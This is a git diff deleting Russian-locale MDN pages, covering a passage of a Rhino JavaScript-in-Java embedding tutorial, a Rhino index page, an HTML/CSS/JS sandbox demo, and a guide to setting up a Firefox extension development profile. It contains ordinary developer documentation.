-<pre class="code java_js_code">System.out.println(cx.toString(result));
-</pre>
-
-<p>prints the result of evaluating the script (contained in the variable <var>result</var>). <var>result</var> could be a string, JavaScript object, or other values. The <code>toString</code> method converts any JavaScript value to a string.</p>
-
-<h3 id="Exiting_the_Context"><a id="exit" name="exit">Exiting the Context</a></h3>
-
-<p>The code</p>
-
-<pre class="code java_js_code">} finally {
- Context.exit();
-}
-</pre>
-
-<p>exits the Context. This removes the association between the Context and the current thread and is an essential cleanup action. There should be a call to <code>exit</code> for every call to <code>enter</code>. To make sure that it is called even if an exception is thrown, it is put into the finally block corresponding to the try block starting after <code>Context.enter()</code>.</p>
-
-<h2 id="Expose_Java_APIs"><a id="expose" name="expose">Expose Java APIs</a></h2>
-
-<h3 id="Using_Java_APIs"><a id="useJava" name="useJava">Using Java APIs</a></h3>
-
-<p>No additional code in the embedding needed! The JavaScript feature called<em>LiveConnect</em> allows JavaScript programs to interact with Java objects:</p>
-
-<pre class="code shell_logs_code">$ java RunScript "java.lang.System.out.println(3)"
-3.0
-undefined
-</pre>
-
-<h3 id="Implementing_interfaces"><a id="implementingInterfaces" name="implementingInterfaces">Implementing interfaces</a></h3>
-
-<p>Using Rhino, JavaScript objects can implement arbitrary Java interfaces. There's no Java code to write -- it's part of Rhino's LiveConnect implementation. For example, we can see how to implement java.lang.Runnable in a Rhino shell session:</p>
-
-<pre class="code shell_logs_code">js&gt; obj = { run: function() { print("hi"); } }
-[object Object]
-js&gt; obj.run()
-hi
-js&gt; r = new java.lang.Runnable(obj);
-[object Object]
-js&gt; t = new java.lang.Thread(r)
-Thread[Thread-0,5,main]
-js&gt; t.start()
-hi
-</pre>
-
-<h3 id="Adding_Java_objects"><a id="addJava" name="addJava">Adding Java objects</a></h3>
-
-<p>The next example is <a href="https://dxr.mozilla.org/mozilla/source/js/rhino/examples/RunScript2.java">RunScript2</a>. This is the same as RunScript, but with the addition of two extra lines of code:</p>
-
-<pre class="code java_js_code">Object wrappedOut = Context.javaToJS(System.out, scope);
-ScriptableObject.putProperty(scope, "out", wrappedOut);
-</pre>
-
-<p>These lines add a global variable <code>out</code> that is a JavaScript reflection of the <code>System.out</code> variable:</p>
-
-<pre class="code shell_logs_code">$ java RunScript2 "out.println(42)"
-42.0
-undefined
-</pre>
-
-<h2 id="Using_JavaScript_objects_from_Java"><a id="usingJSObjs" name="usingJSObjs">Using JavaScript objects from Java</a></h2>
-
-<p>After evaluating a script it's possible to query the scope for variables and functions, extracting values and calling JavaScript functions. This is illustrated in the <a href="https://dxr.mozilla.org/mozilla/source/js/rhino/examples/RunScript3.java">RunScript3</a> example. This example adds the ability to print the value of variable <var>x</var> and the result of calling function <code>f</code>. Both <var>x</var> and <var>f</var> are expected to be defined by the evaluated script. For example,</p>
-
-<pre class="code shell_logs_code">$ java RunScript3 "x = 7"
-x = 7
-f is undefined or not a function.
-$ java RunScript3 "function f(a) { return a; }"
-x is not defined.
-f("my args") = my arg
-</pre>
-
-<h3 id="Using_JavaScript_variables"><a id="usingJSvars" name="usingJSvars">Using JavaScript variables</a></h3>
-
-<p>To print out the value of <var>x</var>, we add the following code:</p>
-
-<pre class="code java_js_code">Object x = scope.get("x", scope);
-if (x == Scriptable.NOT_FOUND) {
- System.out.println("x is not defined.");
-} else {
- System.out.println("x = " + Context.toString(x));
-}
-</pre>
-
-<h3 id="Calling_JavaScript_functions"><a id="callingJSfuns" name="callingJSfuns">Calling JavaScript functions</a></h3>
-
-<p>To get the function <var>f</var>, call it, and print the result, we add this code:</p>
-
-<pre class="code java_js_code">Object fObj = scope.get("f", scope);
-if (!(fObj instanceof Function)) {
- System.out.println("f is undefined or not a function.");
-} else {
- Object functionArgs[] = { "my arg" };
- Function f = (Function)fObj;
- Object result = f.call(cx, scope, scope, functionArgs);
- String report = "f('my args') = " + Context.toString(result);
- System.out.println(report);
-}
-</pre>
-
-<h2 id="JavaScript_host_objects"><a id="javaScriptHostObjects" name="javaScriptHostObjects">JavaScript host objects</a></h2>
-
-<h3 id="Defining_Host_Objects"><a id="definingHostObjects" name="definingHostObjects">Defining Host Objects</a></h3>
-
-<p>Custom host objects can implement special JavaScript features like dynamic properties.</p>
-
-<h3 id="Counter_example"><a id="counter" name="counter">Counter example</a></h3>
-
-<p>The <a href="https://dxr.mozilla.org/mozilla/source/js/rhino/examples/Counter.java">Counter example</a> is a simple host object. We'll go through it method by method below.</p>
-
-<p>It's easy to try out new host object classes in the shell using its built-in <code>defineClass</code> function. We'll see how to add it to RunScript later. (Note that because the <code>java -jar</code> option preempts the rest of the classpath, we can't use that and access the <code>Counter</code> class.)</p>
-
-<pre class="code shell_logs_code">$ java -cp "js.jar;examples" org.mozilla.javascript.tools.shell.Main
-js&gt; defineClass("Counter")
-js&gt; c = new Counter(7)
-[object Counter]
-js&gt; c.count
-7
-js&gt; c.count
-8
-js&gt; c.count
-9
-js&gt; c.resetCount()
-js&gt; c.count
-0
-</pre>
-
-<h3 id="Counter's_constructors"><a id="counterCtors" name="counterCtors">Counter's constructors</a></h3>
-
-<p>The zero-argument constructor is used by Rhino runtime to create instances. For the counter example, no initialization work is needed, so the implementation is empty.</p>
-
-<pre class="code java_js_code">public Counter () { }
-</pre>
-
-<p>The method <code>jsConstructor</code> defines the JavaScript constructor that was called with the expression <code>new Counter(7)</code> in the JavaScript code above.</p>
-
-<pre class="code java_js_code">public void jsConstructor(int a) { count
-= a; }
-</pre>
-
-<h3 id="Class_name"><a id="classname" name="classname">Class name</a></h3>
-
-<p>The class name is defined by the <code>getClassName</code> method. This is used to determine the name of the constructor.</p>
-
-<pre class="code java_js_code">public String getClassName() { return "Counter";
-}
-</pre>
-
-<h3 id="Dynamic_properties"><a id="dynamic" name="dynamic">Dynamic properties</a></h3>
-
-<p>Dynamic properties are defined by methods beginning with <code>jsGet_</code> or <code>jsSet_</code>. The method <code>jsGet_count</code> defines the<em>count</em> property.</p>
-
-<pre class="code java_js_code">public int jsGet_count() { return count++;
-}
-</pre>
-
-<p>The expression <code>c.count</code> in the JavaScript code above results in a call to this method.</p>
-
-<h3 id="Defining_JavaScript_methods"><a id="definingMethods" name="definingMethods">Defining JavaScript "methods"</a></h3>
-
-<p>Methods can be defined using the <code>jsFunction_ prefix</code>. Here we define <code>resetCount</code> for JavaScript.</p>
-
-<pre class="code java_js_code">public void jsFunction_resetCount() { count
-= 0; }
-</pre>
-
-<p>The call <code>c.resetCount()</code> above calls this method.</p>
-
-<h3 id="Adding_Counter_to_RunScript"><a id="addingCounter" name="addingCounter">Adding Counter to RunScript</a></h3>
-
-<p>Now take a look at the <a href="https://dxr.mozilla.org/mozilla/source/js/rhino/examples/RunScript4.java">RunScript4 example</a>. It's the same as RunScript except for two additions. The method <code>ScriptableObject.defineClass</code> uses a Java class to define the Counter "class" in the top-level scope:</p>
-
-<pre class="code java_js_code">ScriptableObject.defineClass(scope, Counter.class);
-</pre>
-
-<p>Now we can reference the <code>Counter</code> object from our script:</p>
-
-<pre class="code shell_logs_code">$ java RunScript4 "c = new Counter(3); c.count;
-c.count;"
-</pre>
-
-<p>It also creates a new instance of the <code>Counter</code> object from within our Java code, constructing it with the value 7, and assigning it to the top-level variable <code>myCounter</code>:</p>
-
-<pre class="code java_js_code">Object[] arg = { new Integer(7) };
-Scriptable myCounter = cx.newObject(scope, "Counter", arg);
-scope.put("myCounter", scope, myCounter);
-</pre>
-
-<p>Now we can reference the <code>myCounter</code> object from our script:</p>
-
-<pre class="code shell_logs_code">$ java RunScript3 'RunScript4 'myCounter.count; myCounter.count'
-8
-</pre>
diff --git a/files/ru/rhino/index.html b/files/ru/rhino/index.html
deleted file mode 100644
index eda494f561..0000000000
--- a/files/ru/rhino/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: Rhino
-slug: Rhino
-translation_of: Mozilla/Projects/Rhino
----
-<p><img alt="Image:rhino.jpg" class="internal" src="/@api/deki/files/832/=Rhino.jpg"></p>
-
-<p>Библиотека <strong>Rhino</strong> (Носорог) - это открытая (open-source) версия языка программирования  <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, реализованная полностью в Java. Библиотека предназначена для встраивания в Java-приложения в качестве пользовательского <span style="line-height: inherit;">скриптового (scripting) </span><span style="line-height: inherit;">языка программирования. Она включена в J2SE 6 как один из механизмов реализации сценариев (scripting engine) для Java.</span></p>
-
-<h4 id="Rhino_downloads" name="Rhino_downloads">Загрузка Rhino</h4>
-
-<p>Инструкция по <a class="internal" href="/ru/docs/Rhino/Download_Rhino" title="en/RhinoDownload">загрузке исходного кода и библиотеки в двоичном коде</a>. </p>
-
-<h4 id="Rhino_documentation" name="Rhino_documentation">Документация по библиотеке Rhino</h4>
-
-<p><a href="/en/Rhino_documentation" title="en/Rhino_documentation">Инструкция</a> для разработчиков скриптов, включая встраивание в Java-программы.</p>
-
-<h4 id="Rhino_help" name="Rhino_help">Дополнительная информация о Rhino</h4>
-
-<p><a href="/en/Rhino/Community" title="en/Rhino/Community">Некоторые дополнительные ресурсы</a>, в случае возникновения проблем.</p>
-
-<p>{{ languages( { "ru": "ru/Rhino" } ) }}</p>
diff --git a/files/ru/sandbox/index.html b/files/ru/sandbox/index.html
deleted file mode 100644
index 72f71274f1..0000000000
--- a/files/ru/sandbox/index.html
+++ /dev/null
@@ -1,212 +0,0 @@
----
-title: Песочница
-slug: Sandbox
-tags:
- - Песочница
- - Практика
-translation_of: Sandbox
----
-<p> </p>
-
-<h2 id="Привет_Мир" name="Привет_Мир">Привет мир 1</h2>
-
-<h3 id="HTML_контент">HTML контент</h3>
-
-<pre class="brush: html">&lt;p id='test_code'&gt;Пример HTML. &lt;br&gt;Ещё пример... &lt;/p&gt;
-
-&lt;section id="text" class="vidim" contenteditable="true"&gt;
-  &lt;h3&gt;Внеси изменения в стиль...&lt;/h3&gt;
- &lt;style scoped&gt;
-.vidim style {
-    display:block;
- padding:10px;
-    white-space:pre;
-  background:rgba(200,200,200,.8);
-    }
-.vidim[contenteditable="true"] {
-  top:1px;
-  left:10px;
-  display:block;
-  position: fixed; padding:10px;
-  width: auto;
-  height: auto;
-  margin-top: calc(5vmax + -10px);
-  margin-left: calc(60vw + -40%);
-  font-family:Consolas, Monaco, monospace;
-  transform: scale(1);
-    }
-.vidim[contenteditable="true"] {
-    outline:2px dashed #ccc;
-  background-color:rgba(100,200,200,.2);
-    }
-.vidim[contenteditable="true"]:hover{
-    z-index: 10;
-    outline:3px solid #28a;
-  background-color:rgba(100,200,200,1);
-    }
-p[contenteditable="true"] {color:red;}
- &lt;/style&gt;
-&lt;/section&gt;
-
-</pre>
-
-<h3 id="CSS_контент" name="CSS_контент">CSS контент</h3>
-
-<pre class="brush: css">body {background:
-radial-gradient(black 15%, transparent 16%) 0 0,
-radial-gradient(black 15%, transparent 16%) 8px 8px,
-radial-gradient(rgba(255,255,255,.1) 15%, transparent 20%) 0 1px,
-radial-gradient(rgba(255,255,255,.1) 15%, transparent 20%) 8px 9px;
-background-color:#243844;
-background-size:16px 16px;
-}
-#test_code {background-color: #ccc;}
-.vidim {
- top:1px;
- left:10px;
- display:block;
- position: fixed;
- padding:10px;
- width: auto;
- height: auto;
- margin-top: calc(5vmax + -10px);
- margin-left: calc(60vw + -40%);
-  transform: scale(1);
-  font-family:Consolas, Monaco, monospace;
- background-color:rgba(100,200,200,.2);
-   }
-
-</pre>
-
-<h3 id="JavaScript_контент" name="JavaScript_контент">JavaScript контент</h3>
-
-<pre class="brush: js">console.log("HI !!");
-</pre>
-
-<h2 id="Вот_результат">Вот результат</h2>
-
-<p>{{EmbedLiveSample('Привет_мир', '100%', 400)}}</p>
-
-<p> </p>
-
-<h4 id="Песочница">Песочница: </h4>
-
-<h2 id="Произвольные_примеры" name="Произвольные_примеры">Произвольные примеры</h2>
-
-<h3 id="HTML_контент_2" name="HTML_контент_2">HTML контент</h3>
-
-<pre class="brush: html">&lt;!-- HTML контент примера --&gt;
-&lt;main class="vid"&gt;
-&lt;div&gt;&lt;h1&gt;- Наведи мыша на квадрат...&lt;/h1&gt;
-  &lt;p&gt;Это будет чёрным.&lt;/p&gt;
-&lt;section id="text" class="vidim" contenteditable="true"&gt;
-  &lt;h1&gt;Масштабируй это окно колесом мыши&lt;/h1&gt;
-  &lt;h3&gt;Внеси изменения в стиль...&lt;/h3&gt;
- &lt;style scoped&gt;
-.vidim style {
-  display:block;
-  padding:10px;
-    white-space:pre;
-   background:rgba(200,200,200,.6);
-    }
-.vidim {
-  display:block;
-    position: fixed;
-  top:1px;
-  left:10px;
-    width: auto;
-    height: auto;
-    margin-top: calc(5vmax + -10px);
-  margin-left: calc(60vw + -40%);
-  padding:10px;
-    font-family:Consolas, Monaco, monospace;
-  transform: scale(1);
-    }
-
-.vidim[contenteditable="true"] {
-    outline:2px dashed #ccc;
-  background-color:rgba(100,200,200,.4);
-    }
-.vidim[contenteditable="true"]:hover {
-  z-index: 10;
-  outline:3px solid #28a;
-    background-color:rgba(100,200,200,1);
-    }
-p[contenteditable="true"] {color:red;}
- &lt;/style&gt;
-&lt;/section&gt;
-    &lt;p contenteditable="true"&gt;Это будет красным. &lt;br&gt;Ещё и редактируемым... &lt;/p&gt;
-    &lt;p&gt;Это будет чёрным.&lt;/p&gt;
-&lt;/div&gt;
-&lt;/main&gt;</pre>
-
-<p> </p>
-
-<h3 id="CSS_контент_2" name="CSS_контент_2">CSS контент</h3>
-
-<pre class="brush: css">/* CSS контент примера */
-body {background:
-radial-gradient(black 15%, transparent 16%) 0 0,
-radial-gradient(black 15%, transparent 16%) 8px 8px,
-radial-gradient(rgba(255,255,255,.1) 15%, transparent 20%) 0 1px,
-radial-gradient(rgba(255,255,255,.1) 15%, transparent 20%) 8px 9px;
-background-color:#243844;
-background-size:16px 16px;}
-.vid {
-    margin: 5px;
-    padding: 5px;
-    border: 1px solid white;
-  background-color: rgba(220,220,220,.9);
-}
-
-</pre>
-
-<h3 id="JavaScript_контент_2" name="JavaScript_контент_2">JavaScript контент</h3>
-
-<pre class="brush: js">/* JavaScript контент примера */
-function addOnWheel(elem, handler)
-  {if (elem.addEventListener)
-    {if ('onwheel' in document)
-     {elem.addEventListener("wheel", handler);}
-    else if ('onmousewheel' in document)
-     {elem.addEventListener("mousewheel", handler);}
-    else
-     {elem.addEventListener("MozMousePixelScroll", handler);}
-    }
-  else
-    {text.attachEvent("onmousewheel", handler);}
-  }
-
-var scale = 1;
-
-addOnWheel(text, function(e)
-  {
-  var delta = e.deltaY || e.detail || e.wheelDelta;
-   if (delta &gt; 0) scale += 0.05;
-   else scale = Math.max(scale -0.05, 0.05);
-
-   text.style.transform = text.style.WebkitTransform = text.style.MsTransform = 'scale(' + scale + ')';
-   e.preventDefault();
-  }       )
-</pre>
-
-<p>{{EmbedLiveSample('Произвольные_примеры', '100%', 400)}}</p>
-
-<p>Возможности</p>
-
-<ul>
- <li>Масштабирование окошечка div</li>
- <li>Демонстрация <code>contenteditable="true"</code></li>
- <li>Редактирование <code>style scoped</code> </li>
- <li>Пользовательские шаблоны</li>
-</ul>
-
-<ul class="htmlelt">
- <li><dfn>Допустимое содержимое</dfn> Нет, так как это {{Glossary("empty element", "bla")}}.</li>
- <li> </li>
- <li><dfn>Допустимое содержимое</dfn> Нет, так как это {{Glossary("bla", "empty element")}}.</li>
-</ul>
-
-<p> </p>
-
-<p> </p>
diff --git a/files/ru/sandbox_--общий_каталок_товара_/index.html b/files/ru/sandbox_--общий_каталок_товара_/index.html
deleted file mode 100644
index 22e1d73fdb..0000000000
--- a/files/ru/sandbox_--общий_каталок_товара_/index.html
+++ /dev/null
@@ -1,7 +0,0 @@
----
-title: Sandbox --> Общий каталог товаров
-slug: Sandbox_-->Общий_каталок_товара_
-tags:
- - каталог товаров
----
-<p>"чччсчс пап" - нужность этого выражения под вопросом... (?)</p>
diff --git a/files/ru/setting_up_extension_development_environment/index.html b/files/ru/setting_up_extension_development_environment/index.html
deleted file mode 100644
index 44e37fe0b2..0000000000
--- a/files/ru/setting_up_extension_development_environment/index.html
+++ /dev/null
@@ -1,169 +0,0 @@
----
-title: Настройка среды для разработки расширений
-slug: Setting_up_extension_development_environment
-tags:
- - Add-ons
- - Extensions
- - Guide
-translation_of: Archive/Add-ons/Setting_up_extension_development_environment
----
-<p>Эта статья дает предложения о том, как настроить приложение Mozilla для разработки расширений. Если не указано иное, эти предложения относятся к Firefox и Thunderbird, а также к SeaMonkey версии 2.0 и выше.</p>
-
-<h3 id="Обзор">Обзор</h3>
-
-<ul>
- <li>Создать <a href="#Профиль_разработчика">пользовательский профиль</a> для разработчика, чтобы запустить сессию разработчика Firefox; со специальными <a href="#Development_preferences">настройками</a> в <code>about:config</code>.</li>
- <li>Установить несколько <a href="#Development_extensions">расширений для разработки</a> Firefox в ваш профиль разработчика.</li>
- <li>Отредактировать файлы в папке расширений вашего профиля и перезапустить приложение с профилем разработчика.</li>
-</ul>
-
-<h3 id="Профиль_разработчика">Профиль разработчика</h3>
-
-<p>Чтобы избежать снижения производительности из-за связанных с разработкой настроек и расширений, и, чтобы не потерять свои личные данные, вы можете использовать отдельный профиль для разработки.</p>
-
-<p>Вы можете запустить два экземпляра Thunderbird или Firefox, в одно и то же время, используя отдельные профили и запускать приложения с параметрами <code>-no-remote</code> и -<code>P ИмяПрофиля</code>. Например, следующая команда запустит Firefox с профилем под названием "dev", независимо от того, запущен ли уже Firefox или нет. (Если еще нет никакого "dev" пользователя, то запустится экран выбора профиля, где вы сможете его создать.)</p>
-
-<p>На Ubuntu (и многих других дистрибутивах Linux):</p>
-
-<pre>/usr/bin/firefox -no-remote -P dev</pre>
-
-<p>На некоторых других дистрибутивах Linux/Unix:</p>
-
-<pre>/usr/local/bin/firefox -no-remote -P dev
-</pre>
-
-<p>На Mac OS Snow Leopard (10.6) и новее:</p>
-
-<pre class="eval">/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -P dev &amp;
-</pre>
-
-<p>На Mac OS Leopard (10.5) и старее, вам понадобится запросить 32-bit часть Universal Binary (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=622970" title="https://bugzilla.mozilla.org/show_bug.cgi?id=622970">https://bugzilla.mozilla.org/show_bug.cgi?id=622970</a>):</p>
-
-<pre class="eval">arch -arch i386 /Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -P dev &amp;
-</pre>
-
-<p>На Windows:</p>
-
-<pre class="eval">Start -&gt; Run "%ProgramFiles%\Mozilla Firefox\firefox.exe" -no-remote -P dev
-</pre>
-
-<p>На Windows 64 bit:</p>
-
-<pre class="eval">Start -&gt; Run "%ProgramFiles(x86)%\Mozilla Firefox\firefox.exe" -no-remote -P dev</pre>
-
-<p>Чтобы запустить Thunderbird или SeaMonkey вместо Firefox, замените "firefox" в примерах выше на "thunderbird" или "seamonkey".</p>
-
-<div class="note">
-<p>Обратите внимание, что вы можете запустить Firefox с помощью обычного профиля при разработке.</p>
-</div>
-
-<p>Параметр <code>-P ИмяПрофиля</code> не включает <code>-no-remote</code>, поэтому используйте их вместе. В противном случае, если вы уже запустили экземпляр Firefox без <code>-no-remote</code> и попытаетесь запустить еще один экземпляр с <code>-P ИмяПрофиля,</code> но опять без <code>-no-remote</code>, то во втором вызове будет игнорироваться его параметр <code>-P ИмяПрофиля</code>, но вместо этого он откроет новое пустое окно для уже запущенного экземпляра (с общим профилем, сеансом и т.д.).</p>
-
-<p>(Существует тред на <a class="external" href="http://forums.mozillazine.org/" title="http://forums.mozillazine.org/">Mozillazine форумах</a>, где объясняют, как использовать стабильную и для разработки версии Firefox, чтобы проверить совместимость расширений. См. <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=613873">Установка Firefox 3 или Minefield, сохраняя Firefox 2</a>.)</p>
-
-<h3 id="Командные_флаги_разработчика">Командные флаги разработчика</h3>
-
-<p>As of Gecko 2 (Firefox 4), JavaScript files are cached ("fastload"). The <code>-purgecaches</code> command-line flag disables this behavior. Alternatively, you can set the MOZ_PURGE_CACHES environment variable. See <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=531886" title="https://bugzilla.mozilla.org/show_bug.cgi?id=531886">this bug</a> for more information.</p>
-
-<h3 id="Development_preferences">Development preferences</h3>
-
-<p>Installing the <a href="https://addons.mozilla.org/en-US/firefox/addon/developer-profile/" title="https://addons.mozilla.org/en-US/firefox/addon/developer-profile/">Developer Profile</a> extension sets up the development environment described below.</p>
-
-<p>There is a set of development preferences that, when enabled, allows you to view more information about application activity, thus making debugging easier. However,  these preferences can degrade performance, so you may want to use a separate development profile when you enable these preferences. For more information about Mozilla preferences, refer to the mozillaZine article on "<a class="external" href="http://kb.mozillazine.org/About:config" title="http://kb.mozillazine.org/About:config">about:config</a>".</p>
-
-<p>Not all preferences are defined by default, and are therefore not listed in <code>about:config</code> by default. You will have to create new (boolean) entries for them.</p>
-
-<ul>
- <li><strong>javascript.options.showInConsole</strong> = <strong>true</strong>. Logs errors in chrome files to the <a href="/en/Error_Console" title="en/Error_Console">Error Console</a>.</li>
- <li><strong>nglayout.debug.disable_xul_cache</strong> = <strong>true</strong>. Disables the XUL cache so that changes to windows and dialogs do not require a restart. This assumes you're <a href="#Using_directories_rather_than_JARs">using directories rather than JARs</a>. Changes to XUL overlays will still require reloading of the document overlaid.</li>
- <li><strong>browser.dom.window.dump.enabled</strong> = <strong>true</strong>. Enables the use of the <span style="font-family: courier new;">dump()</span> statement to print to the standard console. See <span style="font-family: courier new;">{{ Domxref("window.dump") }}</span> for more info. You can use <span style="font-family: courier new;">{{ Interface("nsIConsoleService") }}</span> instead of <code>dump()</code> from a privileged script.</li>
- <li><strong>javascript.options.strict</strong> = <strong>true</strong>. Enables strict JavaScript warnings in the Error Console. Note that since many people have this setting turned off when developing, you will see lots of warnings for problems with their code in addition to warnings for your own extension. You can filter those with <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1815">Console<sup>2</sup></a>.</li>
- <li><strong>devtools.chrome.enabled = true.</strong> This enables to run JavaScript code snippets in the chrome context of the Scratchpad from the Tools menu. Don't forget to switch from content to browser as context.</li>
- <li><strong>extensions.logging.enabled</strong> = <strong>true</strong>. This will send more detailed information about installation and update problems to the <a href="/en/Error_Console" title="en/Error Console">Error Console</a>. (Note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restart happens. To see them, prevent the automatic restart by setting the environment NO_EM_RESTART to 1 before starting the application.)</li>
- <li><strong>nglayout.debug.disable_xul_fastload = true</strong>. For Gecko 2.0+ (Firefox 4.0+). See <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=531886" title="https://bugzilla.mozilla.org/show_bug.cgi?id=531886">this bug</a> for more information. Although the bug has been closed, it is believed that this pref is still relevant.</li>
- <li>You might also want to set <strong>dom.report_all_js_exceptions = true</strong>. See <a class="internal" href="/en/Exception_logging_in_JavaScript" title="en/Exception logging in JavaScript">Exception logging in JavaScript</a> for details.</li>
- <li><strong>devtools.errorconsole.deprecation_warnings</strong>. Detect deprecated code use.</li>
-</ul>
-
-<p></p><div class="warning"><strong>Never</strong> set {{pref("nglayout.debug.disable_xul_fastload")}} to true in a production environment; it exists solely to aid in debugging. In particular, add-ons should never change this preference.</div>.<p></p>
-
-<div class="geckoVersionNote">
-<p>{{ gecko_callout_heading("2.0") }}</p>
-
-<p>The Error Console is disabled by default starting in Firefox 4. You can re-enable it by changing the <code>devtools.errorconsole.enabled</code> preference to <code>true</code> and restarting the browser. With this, <code>javascript.options.showInConsole</code> is also set to <code>true</code> by default.</p>
-</div>
-
-<h4 id="Accessing_Firefox_development_preferences">Accessing Firefox development preferences</h4>
-
-<p>To change preference settings in Firefox or SeaMonkey, type <code>about:config </code>in the Location Bar. Alternatively, use the <a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/7434/" title="http://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a>, which provides a menu interface for Firefox settings.</p>
-
-<h4 id="Accessing_Thunderbird_development_preferences">Accessing Thunderbird development preferences</h4>
-
-<p>To change preference settings in Thunderbird, open the "Preferences" (Unix) or "Options" (Windows) interface. On the "Advanced" page, select the "General" tab then click the "Config Editor" button.</p>
-
-<h3 id="Development_extensions">Development extensions</h3>
-
-<p>These extensions may help you with your development.</p>
-
-<ul>
- <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a>, used to inspect and edit the live DOM of any web document or XUL application (Firefox and Thunderbird)</li>
- <li><a class="external" href="http://www.hacksrus.com/%7Eginda/venkman/">Venkman</a>, a JavaScript Debugger (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/216" title="http://addons.mozilla.org/en-US/firefox/addon/216">Firefox version</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/216" title="http://addons.mozilla.org/en-US/thunderbird/addon/216">Thunderbird version</a>)</li>
- <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a> a suite of tools for extension development (Firefox)</li>
- <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/extension-test/">Extension Test</a> an add-on which makes it easier to detect problems which will lead to rejection by addons.mozilla.org</li>
- <li><a class="external" href="http://console2.mozdev.org/">Console²</a> enhanced JavaScript console (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/1815" title="http://addons.mozilla.org/en-US/firefox/addon/1815">Firefox version</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/1815" title="http://addons.mozilla.org/en-US/thunderbird/addon/1815">Thunderbird version</a>)</li>
- <li><a class="link-https" href="https://addons.mozilla.org/firefox/addon/5058">Javascript Command</a> for writing/testing javascript on Firefox windows</li>
- <li><a class="link-https" href="https://addons.mozilla.org/firefox/addon/5058">Inspect Context</a> Open <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a> at this node from Inspect on context menu.</li>
- <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/4453/">Chrome List</a> navigate and view files in chrome:// (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/4453" title="http://addons.mozilla.org/en-US/firefox/addon/4453">Firefox version</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/4453" title="http://addons.mozilla.org/en-US/thunderbird/addon/4453">Thunderbird version</a>)</li>
- <li><a class="external" href="http://webdesigns.ms11.net/chromeditp.html">Chrome Edit Plus</a> a user file editor (Firefox and Thunderbird)</li>
- <li><a class="link-https" href="https://addons.mozilla.org/en-US/developers/tools/builder">Add-on Builder</a> a web-based application that generates an extension skeleton (Firefox, Thunderbird, and others)</li>
- <li><a class="link-https" href="https://addons.mozilla.org/firefox/addon/1843">Firebug</a> a variety of development tools (Firefox)</li>
- <li><a class="external" href="http://dactyl.sf.net/pentadactyl/">Pentadactyl</a>, a general purpose extension with builtin tools for extension development, including a command line with chrome JavaScript evaluation (including property and function argument completion) and the ability to demand-load external JavaScript and CSS files into window chrome.</li>
- <li><a class="external" href="http://getfirebug.com/releases/chromebug/">Chromebug</a> combines elements of a JavaScript debugger and DOM (Firefox, "kinda works for Thunderbird")</li>
- <li><a class="link-https" href="https://github.com/bard/mozrepl/wiki">MozRepl</a> explore and modify Firefox and other Mozilla apps while they run (Firefox and Thunderbird)</li>
- <li><a class="external" href="http://www.mouseless.de/index.php?/content/view/18/31/">ExecuteJS</a> an enhanced JavaScript console (<a class="link-https" href="https://addons.mozilla.org/firefox/addon/1729">Firefox version</a>, <a class="external" href="http://xsidebar.mozdev.org/modifiedmisc.html#executejs">Thunderbird version</a>)</li>
- <li><a class="external" href="http://xpcomviewer.mozdev.org">XPCOMViewer</a> an XPCOM inspector (Firefox and Thunderbird)</li>
- <li><a class="internal" href="/en/JavaScript/Shells" title="En/JavaScript shells">JavaScript shells</a> to test snippets of JavaScript (Firefox and Thunderbird)</li>
- <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5817">SQLite Manager</a> to manage the SQLite database (Firefox and Thunderbird)</li>
- <li><a class="external" href="http://www.rumblingedge.com/viewabout/">ViewAbout</a> enables access to various about: dialogs from the View menu (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/9695">Firefox version</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/9695">Thunderbird version</a> )</li>
- <li><a class="external" href="http://code.google.com/p/crashme/">Crash Me Now!</a> useful for testing debug symbols and the crash reporting system (Firefox and Thunderbird)</li>
- <li><a href="https://addons.mozilla.org/en-US/firefox/addon/javascript-object-examiner/" title="https://addons.mozilla.org/en-US/firefox/addon/javascript-object-examiner/">Javascript Object Examiner</a> displays JavaScript object methods and properties for any available scope</li>
- <li><a href="https://addons.mozilla.org/en-US/firefox/addon/developer-profile/" title="https://addons.mozilla.org/en-US/firefox/addon/developer-profile/">Developer Profile</a> sets up the development environment described above when installed</li>
-</ul>
-
-<h3 id="Firefox_extension_proxy_file">Firefox extension proxy file</h3>
-
-<p>Extension files are normally installed in the user profile. However, it is usually easier to place extension files in a temporary location, which also protects source files from accidental deletion. This section explains how to create a proxy file that points to an extension that is installed in a location other than the user profile.</p>
-
-<ol>
- <li>Get the extension ID from the extension's install.rdf file.</li>
- <li>Create a file in the "<code>extensions</code>" directory under your profile directory with the extension's ID as the file name (for example "<code>your_profile_directory/extensions/{46D1B3C0-DB7A-4b1a-863A-6EE6F77ECB58}</code>"). (<a class="external" href="http://kb.mozillazine.org/Profile_folder">How to find your profile directory</a>) Alternatively, rather than using a GUID, create a unique ID using the format "name@yourdomain" (for example <span class="nowiki"><code>chromebug@mydomain.com</code></span>) - then the proxy filename will be same as that ID, with no curly brackets {}.</li>
- <li>
